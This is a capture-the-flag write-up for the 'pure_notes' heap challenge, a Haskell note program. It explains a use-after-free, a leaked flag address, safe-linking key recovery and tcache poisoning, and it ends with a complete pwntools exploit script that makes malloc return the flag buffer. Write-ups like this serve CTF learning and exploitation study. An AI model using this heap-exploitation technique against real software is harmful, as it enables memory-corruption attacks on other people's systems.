← Back to Writeups
PWNHard2026

Pwn — Pure Notes

#heap#use-after-free#tcache-poisoning#haskell

Challenge Info

Name: pure_notes
Event: BrunnerCTF
Author: Vincent
Points: 100

Overview

──$ checksec --file=Main         
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY  Fortified  Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   6035 Symbols      No        0          16           Main

The Haskell binary has Partial RELRO, no stack canary, NX enabled, and no PIE .

ghc Main.hs -o Main (compiles the Haskell source file Main.hs into our executable)

Despite being written in Haskell, every note buffer is allocated with mallocBytes and freed with free from Foreign.Marshal.Alloc. These are real glibc heap chunks, not Haskell-managed objects, making it a classic heap exploitation target .

Notes are stored as an association list:

haskell
type Notes = [(String, CStringLen)]

and the available commands are:

new NAME SIZE
write NAME CONTENT
writehex NAME CONTENT
view NAME
delete NAME
list
exit

Vulnerability

1 . use-after-free in delete

haskell
delete args notes = do
  name <- hoistMaybe $ args !? 0
  (b, _) <- hoistMaybe $ lookup name notes
  lift $ free b
  lift $ putStrLn $ "Deleted note " ++ name
  return notes          -- the entry is never removed from the list

delete frees the buffer but keeps its (name, ptr, len) entry in Notes. The freed pointer can still be accessed through view and writehex, giving us a use-after-free that can be combined with tcache poisoning.

2 . the target address is leaked for free

haskell
main = do
  ...
  flag <- readFile "flag.txt"
  withCAString flag $ \cstr -> do
        putStrLn "Welcome to my note taking program"
        print cstr              -- prints the heap address holding the flag
        putStrLn ""
        loop []

withCAString stores the flag in a new heap buffer and prints its address, giving us the exact target address. By poisoning tcache, we can make new return this address and then use view to read the flag.

Putting the two together, we can forge a chunk pointer so that new returns the flag's address, then use view to read the flag.

Environment specifics

The Dockerfile builds on a Debian image running GHC, and the resulting glibc is 2.41, which means:

- tcache is used for small free-list chunks.

- Safe-linking is enabled: a freed chunk's forward pointer is not stored raw. Instead:

stored_fd = (address_of_fd_field >> 12) ^ next_chunk

To forge the fd pointer, we need the safe-linking key, which is the address of the chunk containing the fd field shifted right by 12 bits .

Recovering leaked bytes through the UTF-8 encoder

The output is therefore not byte-for-byte identical to the input. Bytes below 0x80 are printed unchanged, while bytes >= 0x80 are converted into their corresponding two-byte UTF-8 sequences. This must be taken into account when crafting or decoding the payload.

python
def decode_leaked(raw_utf8_bytes):
    s = raw_utf8_bytes.decode('utf-8', errors='strict')
    return s.encode('latin1')

So a view of a freed chunk that starts with the raw bytes 8d 53 00 00 00 00 00 00 ... arrives over the wire UTF-8-encoded, and after decode_leaked gives back key = 0x538d .

A single poisoned chunk is not enough because glibc checks that the tcache count is greater than 0 before serving an allocation.

The solution is to keep two chunks in the bin and poison the head :

1 . First allocation returns the forged target, leaving the count at 1.

2 . Second allocation returns the remaining real chunk, reducing the count to 0.

Because tcache uses safe-linking, we first free and leak a chunk to recover the required addr >> 12 value, then reallocate it before poisoning.

-- Protecting the flag

tcache_get_n() clears the key field at target + 8, which would overwrite part of the flag if we targeted its beginning.

Instead, we target flag_addr - 16. This remains properly aligned, while the zeroing write lands before the flag. We then read the flag starting 16 bytes into the returned buffer.

Exploit walkthrough :

1 . Connect, parse the printed flag-buffer address, target_addr.

2 . new A 128, delete A, view A → decode leaked bytes → key = A_addr >> 12 (warm-up leak).

3 . new C 128, new B 128, delete B, delete C . This leaves a two-entry tcache bin with C as the head (freed last) and B as the second entry, B's fd already mangled against a key we know.

4 . Compute the forged pointer:

redirect = target_addr - 16
encoded = key ^ redirect

5 . writehex C <encoded as little-endian hex> — this overwrites C's (freed, UAF-accessible) fd field with the poisoned value, using the same mangling key recovered in step 2 (C and A were sized identically and reused the same freed slot class).

6 . new D 128 → pops C off the bin (head), count becomes 1. This chunk is thrown away — it's just satisfying the "pop the poisoned head" step.

7 . new E 128 → pops the tcache head again; since the head's fd was forged, malloc now returns a pointer 16 bytes before the flag.

8 . view E → leaked bytes come back UTF-8-mangled, run them through decode_leaked(), the flag itself lives from offset 16 onward.

Solver

python
from pwn import *

context.log_level = 'info'
SIZE = 128
OFFSET = 16  

MENU = (b"Commands:\n"
        b"  new NAME SIZE\n"
        b"  write NAME CONTENT\n"
        b"  writehex NAME CONTENT\n"
        b"  view NAME\n"
        b"  delete NAME\n"
        b"  list\n"
        b"  exit\n"
        b"> ")

def capture(p, line):
    p.sendline(line.encode())
    blob = p.recvuntil(MENU)
    assert blob.endswith(MENU)
    body = blob[:-len(MENU)]
    if body.endswith(b"\n\n"):
        body = body[:-2]
    elif body.endswith(b"\n"):
        body = body[:-1]
    return body


def decode_leaked(raw_utf8_bytes):
    s = raw_utf8_bytes.decode('utf-8', errors='strict')
    return s.encode('latin1')


def main():
    p = process("./Main")
    p.recvuntil(b"program\n")
    target_addr = int(p.recvline().strip(), 16)
    log.success(f"flag buffer address: {hex(target_addr)}")
    p.recvuntil(b"> ")
    capture(p, f"new A {SIZE}")
    capture(p, "delete A")
    raw = capture(p, "view A")
    key_bytes = decode_leaked(raw)[:8].ljust(8, b'\x00')
    key = u64(key_bytes)
    log.info(f"leaked key (A_addr >> 12): {hex(key)}")
    capture(p, f"new C {SIZE}")
    capture(p, f"new B {SIZE}")
    capture(p, "delete B")
    capture(p, "delete C")
    redirect = target_addr - OFFSET
    encoded = key ^ redirect
    capture(p, f"writehex C {encoded.to_bytes(8,'little').hex()}")
    capture(p, f"new D {SIZE}")
    capture(p, f"new E {SIZE}")

    raw_flag = capture(p, "view E")
    flag_bytes = decode_leaked(raw_flag)[OFFSET:]
    log.success(f"flag: {flag_bytes!r}")

    capture(p, "exit")
    p.close()
    return flag_bytes


if __name__ == "__main__":
    main()

Flag

brunner{REDACTED}